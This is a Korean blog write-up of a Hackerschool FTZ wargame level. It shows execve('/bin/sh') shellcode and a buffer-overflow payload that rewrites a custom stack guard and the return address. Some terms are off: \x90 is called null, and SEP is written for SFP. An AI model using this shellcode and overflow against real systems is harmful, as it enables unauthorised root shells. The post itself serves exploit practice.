Security/해커스쿨_FTZ

[해커스쿨_FTZ] level13

lim.dev 2018. 10. 7. 00:01


hint파일을 보니 attackme의 코드가 나와있습니다.

간단하게 분석하고 넘어갑시다.


스택 가드는 오버 플로우를 방지하기 위해서 넣은 것으로 리턴 주소 앞에 있어서 스택 가드의 주소가 바뀌면 오버 플로우가 일어난 것이라고 보면 됩니다.

( KILL의 SIG 11이 세그먼트 폴트를 띄움 )



처음에 1048바이트를 할당하지만 buf는 1024 바이트이기에 24바이트가 남습니다.

코드를 살펴보면 메모리의 구조는


| buffer: 1024 byte | dummy: 12 byte | i: 4 byte | dummy: 8 byte | SEP: 4 byte | RET: 4 byte |


이렇게 생겼습니다.



export SHELLCODE=`python -c 'print"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`


환경변수를 만들어서 쉘코드를 넣어주고 env명령어로 잘 만들어졌는지 확인합시다.



/home/level13/attackme `python -c 'print "\x90"*1036+"\x67\x45\x23\x01"+"\x90"*12+"\x1f\xfc\xff\xbf"'`


그 후 만들어둔 쉘 코드의 주소 값을 구하는 코드를 실행시켜 쉘 코드의 주소 값을 구합시다.

attackme를 실행시키고 null값(\x90)을 1036(buf+dummy)바이트 만큼 넣고 스택 가드주소i(0x1234567)를 넣어준 뒤 다시 null값을 12(dummy+SEP)만큼 채운 후 리턴 값에 환경변수의 주소를 넣어주면 끝!